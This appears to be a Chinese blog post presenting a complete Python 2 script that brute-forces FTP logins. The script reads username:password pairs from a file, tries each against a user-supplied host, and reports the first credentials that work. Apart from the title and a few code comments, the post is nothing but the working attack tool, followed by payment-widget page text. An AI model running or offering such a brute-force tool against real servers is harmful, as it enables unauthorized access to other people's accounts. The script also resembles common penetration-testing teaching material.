使用Ftplib暴力破解FTP用户口令

#!/usr/bin/python
#coding=utf-8
import ftplib

def bruteLogin(hostname, passwdFile):
	pF=open(passwdFile,'r')
	for line in pF.readlines():
		username=line.split(':')[0]
		password=line.split(':')[1].strip('\r').strip('\n')
		print '[+] Trying: '+username+"/"+password
		try:
			#加载ftp模块
			ftp=ftplib.FTP(hostname)
			#连接的用户名,密码
			ftp.login(username,password)
			print '\n[*] '+str(hostname)+' FTP Login Succeeded: '+username+"/"+password
			return (username,password)
		except Exception,e:
			pass
	print '\n[-] Could not brute force FTP credentials.'
	#没有找到,返回空值
	return (None,None)

def main():
	while True:
		h=raw_input("[*] Please enter the hostname: ")
		f=raw_input("[*] Please enter the filename: ")
		bruteLogin(h, f)
		#打印空行进行段落分隔
		print
		print
		print

if __name__ == '__main__':
	main()


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值